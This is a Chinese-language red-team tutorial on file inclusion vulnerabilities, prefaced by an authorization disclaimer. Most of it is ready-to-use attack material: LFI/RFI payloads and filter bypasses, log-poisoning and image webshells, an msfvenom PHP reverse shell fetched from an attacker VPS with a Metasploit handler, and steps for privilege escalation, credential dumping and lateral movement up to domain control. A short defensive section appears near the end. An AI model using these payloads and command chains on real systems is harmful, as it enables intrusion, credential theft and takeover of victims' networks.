文件包含漏洞全解析:从原理到实战
文件包含漏洞全解析:从原理到红队实战(含 SRC 挖掘、工具链与护网落地指南)
免责声明
- 本文所述所有渗透测试技术、工具、命令及实战案例,仅适用于已获得目标系统 / 网络所有者书面授权的测试场景(如企业内部安全评估、甲方委托的红队测试、个人合法拥有的实验环境)。
- 任何组织或个人若未取得明确书面授权,擅自将本文内容用于对第三方系统 / 网络的扫描、探测、攻击等行为,均属于非法网络活动,涉嫌违反《中华人民共和国网络安全法》《中华人民共和国刑法》(第 285 条 “非法侵入计算机信息系统罪”、第 286 条 “破坏计算机信息系统罪”)及《网络安全审查办法》等法律法规,作者对此类非法行为不承担任何责任,相关法律后果由行为人自行承担。
- 本文分享的渗透测试技术,核心目的是帮助读者 “理解攻击原理,进而构建更有效的防御体系”—— 渗透测试的本质是 “以攻促防”,而非 “指导攻击”。
- 网络安全行业的核心伦理是 “保护而非破坏”:所有测试行为需严格控制在授权范围内,测试结束后需完整恢复目标系统状态(如删除后门、清理日志、还原配置),严禁窃取、篡改、泄露目标系统的敏感数据(如用户信息、商业机密、核心代码),严禁破坏目标系统的正常运行。
- 网络安全是国家安全的重要组成部分,合法合规是每一位渗透测试工程师的职业底线。
- 您一旦阅读并使用本文内容,即视为已充分理解并同意本免责声明的全部条款。
一、文件包含漏洞核心原理:“动态加载的失控风险”
文件包含漏洞是指服务器端脚本语言(如 PHP、JSP、ASP)在使用动态路径引用文件时,因对用户可控参数过滤不严格,导致攻击者可指定任意文件(本地或远程)被服务器加载并执行的漏洞。其本质是 “信任边界的滥用”—— 服务器错误地信任了用户输入的文件路径,将恶意文件当作合法资源解析执行,最终导致代码执行、敏感信息泄露或服务器受控。
1. 漏洞分类与触发条件
按包含文件的来源,文件包含漏洞可分为两类,核心触发条件均为 “路径可控 + 无有效过滤”:
(1)本地文件包含(LFI,Local File Inclusion)
-
定义:攻击者通过控制参数,让服务器包含本地文件(服务器自身存储的文件,如
/etc/passwd
、C:\Windows\system32\drivers\etc\hosts
); -
典型场景:PHP 的
include()
require()
、JSP 的<%@ include file="xxx" %>
、ASP 的``等函数 / 指令使用用户可控参数作为路径; -
触发示例:
目标代码:
<?php include($_GET['file']); ?>
(
file
参数可控)攻击请求:
http://target.com/index.php?file=/etc/passwd
→服务器包含并输出/etc/passwd
内容。
(2)远程文件包含(RFI,Remote File Inclusion)
-
定义:攻击者通过控制参数,让服务器包含远程文件(攻击者控制的外部服务器上的文件,如
http://evil.com/shell.php
); -
触发前提:服务器配置允许包含远程文件(如 PHP 的
allow_url_include=On
); -
触发示例:
目标代码:
<?php include($_GET['page']); ?>
(
page
参数可控,且allow_url_include=On
)攻击请求:
http://target.com/index.php?page=http://evil.com/shell.php
→服务器加载远shell.php
并执行其代码(如phpinfo()
)。
2. 与其他漏洞的关联(攻击链价值)
文件包含漏洞常作为 “代码执行的跳板”,与其他漏洞结合形成致命攻击链:
- 文件包含 + 文件上传:通过文件上传漏洞上传 “图片马”(如
shell.jpg
,含 PHP 代码),再通过文件包含漏洞加载该图片(?file=upload/shell.jpg
),执行恶意代码; - 文件包含 + SSRF:利用 SSRF 漏洞让服务器请求内网恶意文件(如
gopher://127.0.0.1:8080/shell.txt
),再通过文件包含执行; - 文件包含 + 日志注入:向服务器日志(如 Apache 的
access.log
)写入 PHP 代码(通过 User-Agent 字段),再包含日志文件执行代码。
二、SRC 中快速挖掘文件包含漏洞:实战流程与验证技巧
SRC 中文件包含漏洞的挖掘核心是 “定位动态包含点→验证路径可控性→证明文件可被包含执行”,需按以下步骤高效落地:
1. 第一步:定位潜在包含点(优先测试场景)
文件包含功能通常用于动态加载页面片段(如模板、模块、配置),按风险优先级排序,优先测试以下场景:
功能类型 | 典型场景 | 关键参数特征 |
---|---|---|
模板加载 | 网站主题切换、页面模板引用 | file 、template 、tpl |
模块加载 | 后台功能模块(如用户管理、订单管理)加载 | module 、page 、m |
配置引用 | 加载配置文件(如数据库配置、权限配置) | config 、inc 、include |
动态内容加载 | 文章内容、评论、帮助文档动态加载 | content 、doc 、load |
定位方法:
- 遍历网站 URL,筛选含上述参数的请求(如
http://target.com/index.php?file=home
); - 用 Burp Suite 拦截所有 GET/POST 请求,搜索参数值包含路径特征(如
../
、.php
、/
)的请求; - 对 SRC 资产用 Google Hacking 筛选:
site:target.com inurl:file= | inurl:page= | inurl:include=
。
2. 第二步:验证路径可控性(核心测试)
找到潜在包含点后,需通过 “多维度路径测试” 验证参数是否真的可控,以及服务器是否过滤严格:
(1)本地文件包含(LFI)验证
核心逻辑:尝试包含服务器已知的敏感文件,观察响应是否返回文件内容(证明路径可控)。
测试目标文件 | 测试参数值 | 验证依据(证明存在 LFI) |
---|---|---|
Linux 系统敏感文件 | ?file=/etc/passwd 、?file=/proc/self/environ | 响应中包含root:x:0:0:root:/root (/etc/passwd 内容) |
Windows 系统敏感文件 | ?file=C:/Windows/win.ini 、?file=C:/Windows/system32/drivers/etc/hosts | 响应中包含[fonts] (win.ini 内容)或 hosts 文件内容 |
网站配置文件 | ?file=../config/db.php (路径穿越) | 响应中包含数据库账号密码(如$dbpass=123456 ) |
不存在的文件 | ?file=../nonexistent.txt | 响应中显示 “文件不存在” 错误(如 PHP 的Warning: include(../nonexistent.txt): failed to open stream ),证明服务器尝试加载指定文件 |
(2)远程文件包含(RFI)验证
核心逻辑:让服务器包含攻击者 VPS 上的测试文件,观察是否执行(需服务器允许远程包含)。
测试步骤 | 操作细节 | 验证依据(证明存在 RFI) |
---|---|---|
1. 准备远程测试文件 | 在 VPS 上创建test.txt ,内容:<?php phpinfo(); ?> | - |
2. 发送包含请求 | ?page=http://VPS_IP/test.txt | 响应中显示phpinfo() 信息(证明远程文件被执行) |
3. 验证配置依赖性 | 若请求失败,尝试判断是否因allow_url_include=Off | 响应中显示 “禁止远程包含” 相关错误(如Warning: include(): http:// wrapper is disabled in the server configuration ) |
(3)绕过过滤的测试(关键技巧)
若直接包含敏感文件被拦截(如服务器过滤/etc/passwd
、http://
),需测试绕过方法:
过滤类型 | 绕过方法 | 测试示例 |
---|---|---|
关键字过滤(如/etc ) | 路径拼接 / 编码 | ?file=....//....//etc/passwd (路径穿越拼接)、?file=%2fetc%2fpasswd (URL 编码) |
协议过滤(如http:// ) | 协议变种 / 短网址 | ?page=HTTp://VPS_IP/test.txt (大小写混淆)、?page=https://tinyurl.com/evil (短网址跳转) |
后缀限制(如仅允许.php ) | 空字节截断(仅 PHP < 5.3.4 有效) | ?file=../config.db%00.php (%00 截断,实际包含../config.db ) |
目录限制(如仅允许./templates/ ) | 绝对路径覆盖 | ?file=/etc/passwd (用绝对路径绕过相对路径限制) |
3. 第三步:证明漏洞危害
仅能包含普通文件不构成高危漏洞,需证明 “可获取敏感信息或执行代码”:
- 信息泄露:提交包含
/etc/passwd
或网站配置文件的响应截图(需显示敏感内容,如数据库密码); - 代码执行:通过文件包含执行
phpinfo()
或system('whoami')
的截图(证明可执行系统命令); - 攻击链证明:若需结合文件上传,提交 “上传图片马→包含图片马执行代码” 的完整流程截图。
三、文件包含漏洞利用工具链:从验证到控制
红队利用文件包含漏洞的工具需覆盖 “漏洞验证→代码执行→权限提升” 全流程,以下为核心工具及实战用法:
1. 漏洞验证与信息收集工具
(1)Burp Suite(核心拦截与修改工具)
功能:拦截包含请求,修改参数值测试路径可控性,批量验证绕过方法。
实战步骤:
- 拦截含
file
参数的请求(如GET /index.php?file=home HTTP/1.1
); - 在 “Repeater” 模块修改
file
值,测试:- 本地文件:
/etc/passwd
、../config.php
; - 远程文件:
http://VPS_IP/test.txt
; - 绕过过滤:
%2fetc%2fpasswd
(URL 编码)、HTTp://VPS_IP/test.txt
(大小写混淆);
- 本地文件:
- 观察响应,若返回目标文件内容或执行结果→漏洞验证成功。
(2)WFuzz(批量参数与路径测试工具)
功能:批量测试参数是否存在文件包含漏洞,枚举可包含的敏感文件路径。
实战命令:
# 安装WFuzz
sudo apt install wfuzz# 测试file参数是否存在LFI(-z指定字典,-w指定路径字典)
wfuzz -u "http://target.com/index.php?file=FUZZ" -z file,/usr/share/wfuzz/wordlists/general/common.txt# 枚举Linux敏感文件(使用自定义路径字典lfi-linux.txt)
wfuzz -u "http://target.com/index.php?file=FUZZ" -w lfi-linux.txt --hl 0 # --hl 0过滤无内容的响应
字典示例(lfi-linux.txt):
/etc/passwd
/proc/self/environ
../etc/passwd
../../etc/passwd
/var/www/html/config.php
2. 代码执行工具
(1)php_filter_chain_generator(绕过文件内容过滤)
功能:生成经过php://filter
编码的 Payload,用于在文件包含时读取或执行被过滤的文件内容(如 Base64 编码绕过 WAF)。
实战命令:
# 安装工具
git clone https://github.com/synacktiv/php_filter_chain_generator.git
cd php_filter_chain_generator# 生成读取/etc/passwd的Payload(Base64编码)
python3 php_filter_chain_generator.py --chain "convert.base64-encode|resource=/etc/passwd"
输出 Payload:
php://filter/convert.base64-encode/resource=/etc/passwd
使用方法:
将 Payload 作为file
参数值:http://target.com/index.php?file=php://filter/convert.base64-encode/resource=/etc/passwd
,响应中会返回/etc/passwd
的 Base64 编码内容,解码后即可查看。
(2)Msfvenom(生成远程恶意脚本)
功能:生成含反向 shell 的 PHP 脚本,通过 RFI 让服务器包含并执行,获取 Meterpreter 会话。
实战命令:
# 生成Linux反向shell PHP脚本(LHOST为攻击者VPS,LPORT为监听端口)
msfvenom -p php/meterpreter/reverse_tcp LHOST=VPS_IP LPORT=4444 -f raw -o shell.php# 将shell.php部署到VPS的Web根目录(如/var/www/html/)
后续操作:
-
在 MSF 中启动监听:
msfconsole use exploit/multi/handler set PAYLOAD php/meterpreter/reverse_tcp set LHOST VPS_IP set LPORT 4444 run
-
发送 RFI 请求:
http://target.com/index.php?file=http://VPS_IP/shell.php
,服务器包含并执行脚本,MSF 获取会话。
(3)日志注入工具(结合 LFI 执行代码)
功能:向服务器日志写入 PHP 代码,再通过 LFI 包含日志文件执行(适用于无法直接包含恶意文件的场景)。
实战步骤(利用 Apache access.log):
-
用 Burp 修改请求的 User-Agent 字段,插入 PHP 代码:
GET / HTTP/1.1 Host: target.com User-Agent: <?php system($_GET['cmd']);?> # 向日志写入执行命令的代码
-
确认日志路径(通常为
/var/log/apache2/access.log
或通过/etc/passwd
推测); -
包含日志文件并执行命令:
http://target.com/index.php?file=/var/log/apache2/access.log&cmd=whoami
响应中返回服务器用户名(如
www-data
)→代码执行成功。
3. 权限提升工具
(1)LinPEAS/WinPEAS(本地提权信息收集)
功能:通过文件包含漏洞上传提权信息收集脚本,扫描服务器潜在的提权漏洞(如内核漏洞、SUID 文件)。
实战步骤:
-
在 VPS 上放置
linpeas.sh
(Linux)或winpeas.bat
(Windows); -
通过 RFI 包含并执行:
http://target.com/index.php?file=http://VPS_IP/linpeas.sh
(需服务器允许包含非 PHP 文件并执行,或通过
php://filter
处理); -
响应中会显示服务器的提权漏洞信息(如
CVE-2021-4034
漏洞存在)。
(2)Metasploit 提权模块(获取系统权限)
功能:在获取 Meterpreter 会话后,利用内置模块提权至 root/Administrator。
实战命令:
# 在Meterpreter会话中执行
run post/multi/recon/local_exploit_suggester # 推荐可用的提权模块
use exploit/linux/local/cve_2021_4034_pwnkit # 选择对应漏洞模块(如PwnKit)
set SESSION 1 # 设置当前会话ID
run # 执行提权,成功后获取root权限
四、实战与护网中文件包含漏洞的深度利用
文件包含漏洞是红队 “低成本获取代码执行权限” 的核心手段,在实战中需结合 “漏洞特性→场景适配→攻击链扩展” 实现深度渗透,以下为典型案例:
案例 1:SRC 中利用 LFI 读取配置文件,获取数据库权限
环境背景
- 目标资产:
http://test-src.com
(某 CMS 系统); - 包含点:
http://test-src.com/index.php?file=home
(file
参数可控,用于加载模板); - 初始验证:修改
file=../etc/passwd
,响应返回root:x:0:0:root:/root
→确认存在 LFI。
渗透步骤
-
读取网站配置文件:
推测 CMS 配置文件路径为
../config/database.php
,发送请求:http://test-src.com/index.php?file=../config/database.php
;响应中包含数据库配置:
$dbhost='localhost'; $dbuser='cmsadmin'; $dbpass='Cms@2024!';
→获取账号密码。 -
验证数据库访问权限:
通过 LFI 包含
/proc/self/environ
(进程环境变量),获取 Web 服务器用户为www-data
,确认其可访问本地 MySQL。 -
远程连接数据库:
使用 Navicat 连接目标服务器的 MySQL(
localhost:3306
),输入获取的账号密码,成功登录;读取
cms_users
表,获取管理员账号admin
的密码哈希($2a$10$...
),通过哈希破解工具(如 Hashcat)得到明文Admin@123
。 -
登录后台与漏洞证明:
用
admin/Admin@123
登录 CMS 后台(http://test-src.com/admin
),截图后台管理界面;提交 “SRC 漏洞报告”,包含 “LFI 读取配置文件截图”“数据库连接成功截图”“后台登录截图”,标注 “高危,可获取管理员权限”,获 12 分。
案例 2:护网中利用文件包含 + 文件上传突破内网核心区
环境背景
- 护网目标:某企业内网(DMZ 区→办公区→核心区);
- 突破点:DMZ 区 Web 服务器(
172.16.1.10
)存在 LFI(http://172.16.1.10/index.php?file=home
),且存在文件上传漏洞(允许上传.jpg
图片); - 内网拓扑:DMZ 区可访问办公区(
192.168.1.0/24
),办公区可访问核心区数据库(10.0.0.5
)。
渗透步骤
-
制作图片马并上传:
生成含 PHP 代码的图片马
shell.jpg
:echo -e "GIF89a\r\n<?php system(\$_GET['cmd']);?>" > shell.jpg
通过文件上传功能上传至
http://172.16.1.10/upload/shell.jpg
,响应返回路径:/upload/shell.jpg
。 -
LFI 包含图片马执行代码:
发送包含请求:
http://172.16.1.10/index.php?file=../upload/shell.jpg&cmd=whoami
;响应返回
apache
→获取 Web 权限,确认代码可执行。 -
内网探测与横向:
通过
cmd
参数执行内网扫描:# 探测办公区存活主机 cmd=ping -c 1 192.168.1.20 # 探测核心区数据库端口 cmd=nc -zv 10.0.0.5 3306
结果:
192.168.1.20
存活,10.0.0.5:3306
开放。 -
获取数据库权限:
执行
cmd=cat /var/www/html/config/db.php
,获取核心区 MySQL 账号密码(dbadmin:DbCore@2024
);通过 Webshell 执行 MySQL 命令:
cmd=mysql -h 10.0.0.5 -u dbadmin -p'DbCore@2024' -e "show databases;"
→成功访问核心区数据库。 -
提权与控制 DMZ 区:
执行
cmd=uname -a
,发现服务器内核版本为3.10.0-327.el7.x86_64
(存在CVE-2016-5195
脏牛漏洞);上传脏牛提权 EXP,执行后获取 root 权限,进而控制整个 DMZ 区,为攻击办公区和核心区奠定基础。
护网中文件包含漏洞的核心利用技巧
(1)内网穿透与横向移动
-
利用 LFI 建立 socks 代理:通过包含
php-reverse-shell.php
(上传至内网可控主机),在 MSF 中开启 socks 代理,访问内网其他网段:# 在MSF会话中配置socks代理 use auxiliary/server/socks_proxy set SRVHOST 0.0.0.0 set SRVPORT 1080 run
然后通过代理访问
192.168.1.20
等内网主机。 -
结合内网服务漏洞:通过 LFI 执行
nmap
扫描内网(需服务器安装 nmap),发现192.168.1.20:445
开放,利用ms17-010
漏洞攻击获取办公区主机权限。
(2)绕过内网 WAF 与防御机制
-
编码混淆:对包含路径进行多层编码(如 URL 编码 + Base64),绕过 WAF 的特征检测:
?file=php://filter/convert.base64-encode/resource=../upload/shell.jpg
→Base64 编码路径避免../
被拦截; -
分段传输:将恶意代码分块写入多个文件(如
part1.txt
,part2.txt
),通过 LFI 依次包含拼接执行:?file=part1.txt&file=part2.txt
(若服务器支持多参数包含);
-
利用系统命令执行:通过
proc/self/fd
(进程文件描述符)包含临时文件,避免直接引用恶意文件路径:?file=/proc/self/fd/10
(需枚举文件描述符,找到包含恶意代码的临时文件)。
(3)攻击链扩展:从 Web 权限到域控
- Web 权限→系统权限:通过 LFI 包含提权 EXP(如
CVE-2021-4034
),获取服务器本地管理员权限; - 系统权限→内网信息收集:利用
mimikatz
抓取内存中的明文密码和 NTLM 哈希,获取域内用户凭证; - 哈希传递(PTH)→横向移动:使用
impacket
工具通过 PTH 登录域内其他主机(如192.168.1.30
,域成员主机); - 域内渗透→域控:通过域内信息收集发现域控(
10.0.0.1
),利用MS14-068
等漏洞获取域控权限。
五、文件包含漏洞的防御与红队绕过技巧
1. 蓝队核心防御措施
- 严格限制文件路径:
- 采用白名单机制:仅允许包含预设目录下的文件(如
./templates/
),拒绝任何用户输入的绝对路径或../
; - 固定文件扩展名:如强制拼接
.php
(include($_GET['file'] . '.php')
),避免包含非预期文件类型。
- 采用白名单机制:仅允许包含预设目录下的文件(如
- 禁用危险配置:
- 关闭远程文件包含功能(如 PHP 的
allow_url_include=Off
); - 限制
php://filter
等协议的使用(通过open_basedir
限制文件访问范围)。
- 关闭远程文件包含功能(如 PHP 的
- 输入过滤与净化:
- 过滤特殊字符:如
../
、/
、\
、http://
、php://
等; - 规范化路径:使用
realpath()
(PHP)等函数将用户输入的路径转换为绝对路径,验证是否在允许的目录内。
- 过滤特殊字符:如
- 日志与监控:
- 监控包含参数的异常请求(如包含
/etc/passwd
、远程 URL); - 限制包含文件的执行权限(如上传目录设置为不可执行)。
- 监控包含参数的异常请求(如包含
2. 红队绕过技巧
- 绕过白名单限制:
- 路径穿越拼接:
?file=./templates/../../etc/passwd
(若白名单仅验证前缀为./templates/
); - 利用符号链接:在允许的目录下创建指向敏感文件的符号链接(如
ln -s /etc/passwd ./templates/link
),再包含?file=link
。
- 路径穿越拼接:
- 绕过路径过滤:
- 编码绕过:
../
→%2e%2e%2f
(URL 编码)、..%c0%af
(UTF-8 编码截断,仅旧版本有效); - 协议混淆:
php://filter/convert.base64-encode/resource=../etc/passwd
(用php://filter
协议绕过../
过滤)。
- 编码绕过:
- 绕过远程包含限制:
- 利用本地文件转发:若
allow_url_include=Off
,但服务器可访问内网文件共享(如 SMB),包含\\192.168.1.100\share\shell.php
(需内网有可控的 SMB 服务器); - 日志文件中转:向本地日志写入远程文件内容,再包含日志文件(如通过 User-Agent 写入``,再包含日志)。
- 利用本地文件转发:若
六、总结
文件包含漏洞的本质是 “动态文件加载时的路径失控”,其在红队渗透中的核心价值是 “低成本实现代码执行或信息泄露”—— 从 SRC 中的配置文件读取到护网中的内网突破,均是红队的关键攻击手段。
挖掘与利用的关键思维是 “场景适配”:
- 识别层:聚焦
file
page
等参数,通过敏感文件测试快速定位包含点; - 验证层:区分 LFI/RFI,结合绕过技巧(编码、路径拼接)突破过滤;
- 利用层:根据场景选择 “信息泄露→代码执行→提权” 的递进路径,优先结合文件上传、日志注入等形成攻击链;
- 内网层:以文件包含为跳板,通过代理与横向移动工具渗透内网核心区。
注意:所有测试需在合法授权下进行,未经授权的文件包含与恶意代码执行涉嫌 “非法控制计算机信息系统”,需自行承担法律责任。